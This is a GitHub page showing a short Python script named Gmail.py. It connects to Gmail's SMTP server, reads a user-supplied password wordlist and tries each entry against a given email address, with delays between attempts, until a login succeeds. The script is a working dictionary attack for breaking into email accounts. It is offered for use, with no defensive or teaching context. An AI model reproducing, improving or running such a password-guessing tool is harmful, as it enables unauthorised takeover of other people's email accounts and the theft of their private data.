-
Notifications
You must be signed in to change notification settings - Fork 4
/
Copy pathGmail.py
28 lines (27 loc) · 855 Bytes
/
Gmail.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import os
os.system('clear')
import time
import smtplib
# script by Ahmed #
print('''
\033[1;32m __.oOo.__
\033[1;32m /'( _ )`\
\033[1;32m / . \/^\/ . \
\033[1;32m / _)_`-'_(_ \
\033[1;32m /.-~ ).( ~-.\
\033[1;32m /' /\_/\ `\
\033[1;32m "-V-"
''')
Yasser = smtplib.SMTP_SSL("smtp.gmail.com",465)
Yasser.ehlo()
email = input ("\033[1;35m Enter Your Email : ")
passfile = input ("\033[1;35m Enter Your passfile : ")
passfile = open (passfile ,"r")
for password in passfile:
try:
time.sleep(2)
Yasser.login(email, password)
print("\033[1;32m password Found ==> " ,password)
break
except smtplib.SMTPAuthenticationError:
print("\033[1;31m password Not Found ==> " ,password)